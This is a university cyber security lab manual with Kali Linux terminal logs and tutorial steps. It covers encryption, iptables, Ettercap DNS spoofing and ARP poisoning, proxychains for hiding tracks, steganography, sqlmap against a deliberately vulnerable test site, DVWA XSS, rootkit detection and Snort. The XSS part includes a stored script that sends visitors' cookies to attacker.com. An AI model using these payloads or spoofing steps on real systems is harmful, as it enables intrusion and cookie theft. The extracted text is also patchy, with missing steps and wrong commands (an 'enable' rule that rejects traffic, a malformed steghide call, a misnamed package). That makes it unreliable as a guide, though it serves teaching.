r22 3-2 Cse (CS) Cse Lab Manual
r22 3-2 Cse (CS) Cse Lab Manual
Prepared by
P.SATHISH
Assistant Professor
R. R Dist, TS - 501505
1
VISION AND MISSION OF THE INSTITUTION
VISION
MISSION
2
VISION AND MISSION OF DEPARTMENT
VISION
MISSION
3
CYBER SECURITY ESSENTIALS LAB
Course Objectives:
Course Outcomes:
4
INDEX
Lab Experiments
1. Implement and test simple symmetric encryption algorithms like AES and DES.
3. Set up and configure a basic firewall using tools like iptables on Linux.
5. Set up a proxy server and demonstrate how attackers can use proxies to hide
their tracks.
11. Investigate the functioning of a rootkit and demonstrate techniques to detect it.
12. Set up a basic IDS like Snort and test its effectiveness in detecting different
types of attacks.
5
EXPERIMENT NO: 1
AIM:
─(kali㉿kali)-[~/sathish]
└─$ sudo apt install mcrypt
[sudo] password for kali:
mcrypt is already the newest version (2.6.8-8).
The following packages were automatically installed and are no longer required:
libbfio1 libc++1-19 libc++abi1-19 libsuperlu6 libunwind-19
Use 'sudo apt autoremove' to remove them.
Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 255
(kali㉿kali)-[~/sathish]
└─$ mcrypt --list
cast-128 (16): cbc cfb ctr ecb ncfb nofb ofb
gost (32): cbc cfb ctr ecb ncfb nofb ofb
rijndael-128 (32): cbc cfb ctr ecb ncfb nofb ofb
twofish (32): cbc cfb ctr ecb ncfb nofb ofb
arcfour (256): stream
cast-256 (32): cbc cfb ctr ecb ncfb nofb ofb
loki97 (32): cbc cfb ctr ecb ncfb nofb ofb
rijndael-192 (32): cbc cfb ctr ecb ncfb nofb ofb
saferplus (32): cbc cfb ctr ecb ncfb nofb ofb
wake (32): stream
blowfish-compat (56): cbc cfb ctr ecb ncfb nofb ofb
des (8): cbc cfb ctr ecb ncfb nofb ofb
rijndael-256 (32): cbc cfb ctr ecb ncfb nofb ofb
serpent (32): cbc cfb ctr ecb ncfb nofb ofb
xtea (16): cbc cfb ctr ecb ncfb nofb ofb
6
blowfish (56): cbc cfb ctr ecb ncfb nofb ofb
enigma (13): stream
rc2 (128): cbc cfb ctr ecb ncfb nofb ofb
tripledes (24): cbc cfb ctr ecb ncfb nofb ofb
kali㉿kali)-[~/sathish]
└─$ nano sample
(kali㉿kali)-[~/sathish]
└─$ cat sample
this is first experment in cyber security
┌──(kali㉿kali)-[~/sathish]
└─$ ls
byy.txt hello hello.txt hit.txt private.key public.key sample
┌──(kali㉿kali)-[~/sathish]
└─$ mcrypt sample
Enter the passphrase (maximum of 512 characters)
Please use a combination of upper and lower case letters and numbers.
Enter passphrase: kali
Enter passphrase: kali
─(kali㉿kali)-[~/sathish]
└─$ cat sample.nc
m@rijndael-128 cbcmcrypt-sha1�%▒�g���l�־
o����sha1v7f�q_ƾ'=�jxFP< �
dT��k�t�D"���▒�+��o&=�O�����l�^`������91
���E�V�u
┌──(kali㉿kali)-[~/sathish]
7
└─$ ls
byy.txt hello hello.txt hit.txt private.key public.key sample.nc
(kali㉿kali)-[~/sathish]
└─$ mcrypt -d sample.nc
Enter passphrase: kali
File sample.nc was decrypted.
┌──(kali㉿kali)-[~/sathish]
└─$ ls
byy.txt hello.txt private.key sample
hello hit.txt public.key sample.nc
┌──(kali㉿kali)-[~/sathish]
└─$
┌──(kali㉿kali)-[~/sathish]
└─$ cat sample
this is first experment in cyber security
8
EXPERIMENT NO: 2
RSA encryption is a widely used cryptographic algorithm that relies on the use of a
public and private key pair to secure communications. To demonstrate the concept
of public and private keys using Kali Linux, we can go through the following
steps:
9
4. Encrypt a Message with the Public Key
(kali㉿kali)-[~/sathish]
└─$ openssl rsautl -encrypt -pubin -inkey public.key -in hello.txt -out byy.txt
To decrypt the message, use the private key. The command for decryption is:
10
┌──(kali㉿kali)-[~/sathish]
└─$ openssl rsautl -decrypt -inkey private.key -in byy.txt -out hit.txt
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
After running the decryption command, the original message will be in the
decrypted_message.txt file.
You can view the decrypted message by using the cat command:
┌──(kali㉿kali)-[~/sathish]
11
EXPERIMENT NO: 3
Aim : Set up and configure a basic firewall using tools like iptables on Linux.
What Is Iptables?
Iptables is a firewall program for Linux. It will monitor traffic from and to your
server using tables. These tables contain sets of rules, called chains, that will
filter incoming and outgoing data packets.
When a packet matches a rule, it is given a target, which can be another chain
or one of these special values:
1. Install iptables
─(kali㉿kali)-[~/Desktop]
└─$ sudo apt install iptables
iptables is already the newest version (1.8.11-2).
The following packages were automatically installed and are no longer
required:
12
libbfio1 libgles-dev libpaper1
libc++1-19 libgles1 libsuperlu6
libc++abi1-19 libglvnd-core-dev libunwind-19
libegl-dev libglvnd-dev openjdk-23-jre
libfmt9 libjxl0.9 openjdk-23-jre-headless
libgl1-mesa-dev libmbedcrypto7t64 python3-appdirs
Use 'sudo apt autoremove' to remove them.
Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 20
2. Check the status of your current iptables configuration by running
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo iptables --version
iptables v1.8.11 (nf_tables)
─(kali㉿kali)-[~/Desktop]
└─$ sudo iptables -L
Here, the -L option is used to list all the rules, and -v is for showing the
info in a more detailed format. Below is an example output:
Chain INPUT (policy ACCEPT)
target prot opt source destination
You will now have the Linux iptables firewall installed. At this point, you will
notice that all chains are set to ACCEPT and have no rules. This is not secure
since any packet can come through without filtering.
13
Defining a rule means appending it to the chain. To do this, you need to insert
the -A option (Append) right after the iptables command, like so:
sudo iptables -A
It will alert iptables that you are adding new rules to a chain. Then, you can
combine the command with other options, such as:
-i (interface) — the network interface whose traffic you want to filter,
such as eth0, lo, ppp0, etc.
-p (protocol) — the network protocol where your filtering process takes
place. It can be either tcp, udp, udplite, icmp, sctp, icmpv6, and so on.
Alternatively, you can type all to choose every protocol.
-s (source) — the address from which traffic comes from. You can add a
hostname or IP address.
–dport (destination port) — the destination port number of a protocol,
such as 22 (SSH), 443 (https), etc.
-j (target) — the target name (ACCEPT, DROP, RETURN). You need
to insert this every time you make a new rule.
Enabling connections on HTTP, SSH, and SSL ports
Next, we want http (port 80), https (port 443), connections to work as
usual. To do this, we need to specify the protocol (-p) and the
corresponding port (–dport). You can execute these commands one by
one:
(kali㉿kali)-[~/Desktop]
└─$ sudo iptables -A OUTPUT -p tcp --dport 80 -j REJECT
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo iptables -A OUTPUT -p tcp --dport 443 -j REJECT
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
14
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:http
REJECT tcp -- anywhere anywhere tcp dpt:http reject-with
icmp-port-unreachable
REJECT tcp -- anywhere anywhere tcp dpt:https reject-with
icmp-port-unreachable
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
iptables-rules.v1 sample
Deleting rules
If you want to remove all rules and start with a clean slate, you can use the -
F option (flush):
sudo iptables –F
(kali㉿kali)-[~/Desktop]
└─$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
EXPERIMENT NO: 4
15
Overview
Practical Demonstration
Since I’m doing this on my LAN, I can use my private IPv4 address, which I
truncated from the ifconfig command for the purpose of this demonstration.
┌──(root㉿kali)-[/home/kali/sathish]
└─# ifconfig
172.172.1.110
Configuring Ettercap
Quick Theory
Ettercap is being used in this context to resolve DNS queries coming from the
victim machine. Ettercap will respond to the DNS query with the IP address of the
attacking machine (Kali) such that when the victim visits the target domain, they
will be redirected to the attacker's IP address instead of the real IP address
associated with the domain name.
root㉿kali)-[/home/kali/sathish]
└─# mousepad /etc/ettercap/etter.conf
16
The changes to make are shown in green in the screenshot below.
Explanation: I set the UID and GID to 0 so that Ettercap has adequate permissions
on the machine. In this case, UID and GID 0 are root permissions.
Editing etter.dns
(root㉿kali)-[/home/kali/sathish]
└─# mousepad /etc/ettercap/etter.dns
Now, we’ll prepare the HTML file that the victim will encounter once the DNS has
been spoofed. Since I’m using an Apache webserver, I’ll place the file in the root
directory on my machine,
nano index.html
<title>No More Planting Trees</title>
<h1>website hack</h1>
17
Start Malicious Web Server
Run Ettercap
In the upper-right hand corner, I click on the right button and stop it.
18
I have white theme right now, don’t judge
I then enter the IP address of the victim machine and default gateway and press
“OK”. The default gateway can also be found in the ifconfig/ipconfig command
output of the victim machine.
Click the Earth icon in the upper right-hand corner and select ARP poisoning.
19
The default setting is okay here.
Then, click the three dots in the corner again. Go to Plugins > Manage plugins.
20
Select dns_spoof by double-clicking it. You’ll know that you’ve applied the plugin
when the asterisk appears to the left of the plugin name.
21
EXPERIMENT NO: 5
Aim:.Set up a proxy server and demonstrate how attackers can use proxies to
hide their tracks.
What is a ProxyChain?
Proxychains are essentially a combination of proxies that reroute a TCP
connection to any server using different protocols, such as HTTP, HTTPS,
SOCK4 & SOCKS5, making the connection secure and making it nearly
impossible for an observer to figure out what you are looking for up online
and where you are. Through a very secure chain of proxies, ProxyChains
serves as an intermediary between the source IP and the endpoint IP,
concealing your identity. Most people mistakenly believe that VPNs are
safer than ProxyChains, however, the reality is that DNS leaks are more
common in VPNs, making them less secure than ProxyChains.
How to configure Proxychain?
There are two methods for configuring proxy chains.
Method 1: Making use of Automated Tools
Method 2: Manual configuration
22
Step 2: Run the following command to install TorGhost:
git clone https://github.com/SusmithKrishnan/torghost
The command above will create a folder called torghost and install the tool
within it.
23
Step 3: After installing, navigate to the TorGhost folder that was created
in the preceding step.
cd torghost
24
This will install the dependencies needed for the tool to function correctly.
Step 6: Execute the python file with the command.
python3 torghost.py
25
This will display the commands that can be used while running the file.
Step 7: To launch the tool, enter the following command.
python3 torghost.py -s
The system’s IP address will change in a few seconds. You can also verify
your new IP address by typing what’s my IP into Google.
26
Step 3: Look for the file proxychains.conf or proxychains4.conf.
27
gedit proxychains4.conf
Step 6: Uncomment the dynamic chain and comment out the strict chain
by removing and replacing the # sign.
28
dynamic_chain – Will create a new chain of proxies whenever a new
connection is opened.
strict_chain – Will only use the last chained proxy while opening every
new connection.
So, in this case, we make the dynamic chain the default setting.
Step 7: Now search the web for websites that provide proxies, in this
case, Geonode.com, and select the protocol you want to use; HTTP and
HTTPS were used for demonstration purposes, but SOCK5 or SOCKS 4
can also be used. Make as many proxies as you like.
29
Step 8: Scroll down to the bottom of the gedit file.
Step 9: Copy and paste the proxies in the format shown in the image.
30
EXPERIMENT NO: 6
Aim: Demonstrate basic antiforensics techniques like i. Deleting logs ii. Using
steganography tools.
Steghide is a free and open source steganography program that allows you to hide
secret files or messages within audio, image, and video files. It works right from
the command line interface in Kali Linux. The key advantage of Steghide is that it
can embed data without reducing the quality or file size of the original carrier file.
This makes it difficult to detect that any hidden information has been added.
To use Steghide, you first need to install it in Kali Linux. You can do this easily by
typing the following command :
Command :
sudo apt-get install steghide
Output :
StegHide Tool
Installation
32
Steg
hide Usage Commands
Create a text file called " secret.txt " and add some simple secret message text to it.
Save it in your working directory. Also place the image file you want to use to hide
the data, like " gfg.jpg ", in the same folder. Open a terminal window and use the "
steghide embed " command to embed " secret.txt " into " gfg.jpg ".
Command :
steghide embed -ef Secret.txt -ef gfg.jpeg
Output :
Embedding
Completed
It will ask you to create a password. Choose a strong password and enter it. This
will be needed to extract the hidden data later. Steghide will embed "secret.txt"
inside "kevinmitnick.jpg" using the password encryption.
33
Now the image file contains the secret data entirely hidden within it. You can
safely share or store the image file like normal. When ready, use the following
below command with the password to retrieve the embedded " Secret.txt " file.
Command :
steghide extract -sf gfg.jpeg
cat Secret.txt
Output :
Data Extraction
You can also have Steghide show info about any files with embedded data. The
below command will verify if a file has hidden content inside it :
Command :
steghide info gfg.jpg
It will confirm that there is embedded data, and report the encryption algorithm
and hidden file size.
Output :
This will
confirm that there is embedded data
34
StegoSuite : Installation & Usage
StegoSuite is another free steganography tool included in Kali Linux. The main
difference from Steghide is that StegoSuite provides a graphical interface, making
it more user-friendly.
To install StegoSuite, open a terminal and type :
Command :
sudo apt-get install stegosuite
Output :
StegoSuite Tool
Installation
Once you have installed the StegoSuite package in Kali Linux, you can easily start
using the program. Now you just need to type the following command to Launch
the StegoSuite Tool.
Command :
stegosuite gui
Output :
Choo
se the Image File
4. After Selecting the Image file Enter the secret text Message or Just Drag and
Drop the " Secret.txt " file. Then Set the Password to Encrypt the Image file and
Click on Embed. Follow the Steps as Shown in the Below GIF file.
After that you will see this New file created on the Desktop name " gfg_embed.png
" this file include our hidden file in it.
36
Encrypt
ed Image file
Now the image file contains the secret data entirely hidden within it You can safely
share or store the image file like normal. Whenever you want to see the Hidden
Text file just use " stegosuite gui " Command and Select the New File that created
onto our Desktop and Just type the Password and hit the Extract Button.
Extracted
37
EXPERIMENT NO: 7
Aim: Perform SQL injection on a test website and then implement measures
to prevent it.
Installing sqlmap
SQLMAP comes pre-installed with kali Linux, which is the preferred choice of
most penetration testers. However, you can install sqlmap on other debian based
linux systems using the command
Usage
In this article, we will make use of a website that is designed with vulnerabilities
for demonstration purposes:
http://testphp.vulnweb.com/listproducts.php?cat=1
As you can see, there is a GET request parameter (cat = 1) that can be changed by
the user by modifying the value of cat. So this website might be vulnerable to
38
SQL injection of this kind.
To test for this, we use SQLMAP. To look at the set of parameters that can be
passed, type in the terminal,
sqlmap -h
The parameters that we will use for the basic SQL Injection are shown in the
above picture. Along with these, we will also use the –dbs and -u parameter, the
usage of which has been explained in Step 1.
Using SQLMAP to test a website for SQL Injection vulnerability:
39
We get the following output showing us that there are two available databases.
Sometimes, the application will tell you that it has identified the database and
ask whether you want to test other database types. You can go ahead and type
‘Y’. Further, it may ask whether you want to test other parameters for
vulnerabilities, type ‘Y’ over here as we want to thoroughly test the web
application.
40
Step 2: List information about Tables present in a particular Database
To try and access any of the databases, we have to slightly modify our
command. We now use -D to specify the name of the database that we wish to
access, and once we have access to the database, we would want to see
whether we can access the tables. For this, we use the –tables query. Let us
access the accurate database.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
-D acuart --tables
Tables
In the above picture, we see that 8 tables have been retrieved. So now we
definitely know that the website is vulnerable.
If we want to view the columns of a particular table, we can use the following
command, in which we use -T to specify the table name, and –columns to
query the column names. We will try to access the table ‘artists’.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
41
-D acuart -T artists --columns
Columns
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
42
From the above picture, we can see that we have accessed the data from the
database. Similarly, in such vulnerable websites, we can literally explore
through the databases to extract information
Objective
Lab Setup
1. Tools Required
1. Install XAMPP:
2. Start XAMPP:
3. Download DVWA:
cd /opt/lampp/htdocs/
git clone https://github.com/digininja/DVWA.git
4. Configure DVWA:
o Open config/config.inc.php in a text editor:
nano /opt/lampp/htdocs/DVWA/config/config.inc.php
php
CopyEdit
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '';
44
Method 2: Using Docker (Alternative)
bash
CopyEdit
docker run --rm -it -p 80:80 vulnerables/web-dvwa
html
CopyEdit
<script>alert('XSS Attack!');</script>
3. Click Submit.
4. If successful, an alert box should pop up.
<script>document.write('<img src="http://attacker.com/steal?
cookie='+document.cookie+'">');</script>
3. Click Submit.
45
4. If successful, the script gets stored in the database and executes for every
visitor, sending cookies to the attacker’s server.
💡 Explanation: The script is saved in the database and executed whenever a user
visits the page.
http://localhost/DVWA/vulnerabilities/xss_d/?
default=<script>alert('XSS')</script>
3. Press Enter.
4. If successful, an alert box will appear.
46
EXPERIMENT NO: 10
47
Why do we need Malware Analysis Lab?
Brainstorming to build a Malware Analysis Lab.
Steps for setting up a Malware Analysis Lab.
Let’s get started and discuss each of these topics in detail.
Malware Analysis Lab can help you in any of the following ways:
It will increase your analysis speed.
A suitable environment will build a framework and identify TTP and IOC.
A malware analysis lab will help you to get control of what gets in and out of
the network.
It will decrease the risk of infection.
The first and the most important thing to do before setting up a lab is to figure out
the needs and the requirements for setting up a lab. It is very important to have
some dedicated systems with tools to control, analyze, and safeguard your
environment. Some of the questions that you need to be clear about, to have a clear
understanding of what you need in your lab. What tools you need?: There are a
lot of tools available in the market for each task associated with Malware Analysis.
But you need to try a bunch of these tools and determine which tools are best
suited for your need. What type of Operating Systems do you need?: There are a
variety of systems available out there like Windows, Linux, OS X, or even mobile
OS like Android, iOS, etc. It is advisable to get started with Windows and Linux
first and then you can get your hands on other operating systems. What do you
want to achieve?: You should have a clear understanding of your motive of
setting up the lab and be clear which what you want to achieve through the lab.
To set up the Malware Analysis Lab, follow the points mentioned below. 1.
Network: One of the most important and the first step in setting up a lab is to
define its network. Here are a few reasons why this step is important:
You need to have information about your network to identify uncommon
patterns and uncommon connection attempts.
You need to know about what is going in and what is going out of the network.
48
You need to intercept traffic between your Analysis system and the Network.
You need to isolate the analysis system from other computers.
Choose your favorite private network address spaces so you assign static IP
addresses to each one of your systems. The reason for this allotment is that when
you start collecting Network information and you will spend most of your time
trying to figure out which systems did that belong to if you don’t make a list.
You’re also going to need a dedicated machine to control your network traffic and
to act as a gateway for your lab. REMnux and Kali are two options that you can
consider for your gateway. 2. Virtualization: Virtualization software is required in
either of the following scenarios:
When you don’t have a few spare machines, a switch, and a dedicated physical
space for this.
You simply want to carry your Lab with you whenever you go.
There are few options for Virtualisation software like VMWare, Qemu, Virtual
Box (free), and if you don’t mind spending a few bucks then you can go for
VMWare Workstation. Virtualization software will allow you to host your entire
lab in a single machine and they provide another interesting feature i.e. snapshots.
Snapshots allow you to revert the state of your machines to a clean state, so you
can start an analysis over and over again. These are quite useful for keeping track
of your work on long analysis. If you are using Virtualization Software, how you
set up your virtual network is very important. You have three options for this:
Bridged: Do not use Bridged mode, this can expose your network to threats,
and you don’t want to infect anybody else systems.
NAT: This is the ideal choice. Disable DHCP so you can stick to your design.
Host-Only: Host-Only will only communicate your virtual system with your
host machine, you don’t want this either.
3. Analysis Machines: If you are going to do Malware Analysis, then you will
need a variety of systems to run your samples, Execute your tools, and do Static
and Dynamic Analysis. You will have to follow the following simple steps to set
up each one of the systems that you choose.
Install the Operating System and install the Security Updates.
Install Virtual Machine Tools(optional).
Install Analysis Tools and for Windows, you can check Flare VM tools to
automate some of this task.
Set up Network Configuration.
Save a Snapshot in a clear state.
49
These simple five steps will help you to get a checklist and set up the machines
you’ll need to move forward on your analysis. Operating systems can be selected
from the following list:
Windows 10
Windows 7
Linux (Ubuntu Server 16.04)
REMnux
Kali Linux
Metasploitable 2
Metasploitable 3
Virtual Machine with OS X
Android
4. Testing your Environment: Before starting with the analysis, you need to
make sure that everything is perfect and working fine. For this you need to check
the following things:
Make sure no analysis machine has access to the Internet or your home/ work
network. You can control this with a Gateway. Try turning it ON and OFF so
that you can get familiar with the process.
Turn all your machines ON and try running a network scan to see that
everything is working properly.
It is very important to make sure that all your machines have a Snapshot in a
clear state. You should have clear rules and definitions stating how often you
will update them to install security patches, new software versions, and other
caveats.
50
EXPERIMENT NO: 11
Most of the instructors focus on the hacking part rather than providing knowledge
on security. Rootkits with bad intentions can affect our system or privacy.
A rootkit is the combinations of two words — “root” and “kit” where root refers to
the administrative account with full privileges on the system whereas kit refers to
the code/program that allows the attacker to obtain unauthorized access.
In Kali Linux, we can install various open-source software to prevent our PCs from
rootkits. Therefore, “chkrootkit” and “rkhunter” are the two most famous open-
source software that anyone can install in their Linux system for the detection of
rootkits.
Chkrootkit
51
To install chkrootkit into your system,
$ sudo apt-get install chkhunter
After installing any tool into your PC the best thing to do first is to check the help
section. User get to know various functionality with this,
$ chkrootkit -h
52
Therefore, the process begins and it will start checking the third party programs
(most specifically). This will provide the program scanned with their status.
Rkhunter
It does this by comparing SHA-1 hashes of important files with known good ones
in online databases, searching for default directories (of rootkits), wrong
permissions, hidden files, suspicious strings in kernel modules, and special tests for
Linux. (Wikipedia)
53
Now, by default typing rkhunter into the terminal will provide you with the number
of options you can go through,
54
So, the most common options to check the rootkits of the system is by using
c or -C,
$ rkhunter -c
55
So, it will go through all the system files as well as third party programs in order to
look for the rootkits.
Finally, the result of the summary will be written into the log file →
/var/log/rkhunter.log
56
EXPERIMENT NO: 12
Aim:.Set up a basic IDS like Snort and test its effectiveness in detecting
different types of attacks.
This will ensure that you have access to the latest version of Snort in the
repository.
Step 4: Once the installation is complete, you can check the version of
Snort installed on your system by running the following command:
snort -V
This will display the version information of Snort.
Step 5: By default, Snort will not start automatically when you boot up your
system.
You can enable Snort to start automatically on system boot by running the
following command:
That's it! You now have Snort installed and enabled on your Linux system.
57
For security purposes, it is recommended to create a dedicated user and
group for Snort. Run the following commands to create a Snort user and
group:
After installing Snort, the next step is to configure it. We need to copy the
configuration files from the Snort directory to the /etc/snort directory. To do
this, run the following command:
Now, we need to edit the snort.conf file located in the /etc/snort directory.
This file contains the configuration options for Snort. You can use any text
editor to edit this file.
The snort.conf file contains many options, and it can be overwhelming for
beginners. However, you only need to modify a few options to get started.
Here's an example configuration:
Finally, we have specified the output format as unified2 and the filename
as a snort. This will generate alerts in the unified2 format and store them
in the snort file.
You can modify these options according to your requirements. Once you
have edited the snort.conf file, save it and exit the editor.
Now, it's time to test our Snort installation to make sure it's working
properly. Run the following command to start Snort in test mode:
59
After successfully testing Snort, we can start it in the background using the
following command:
60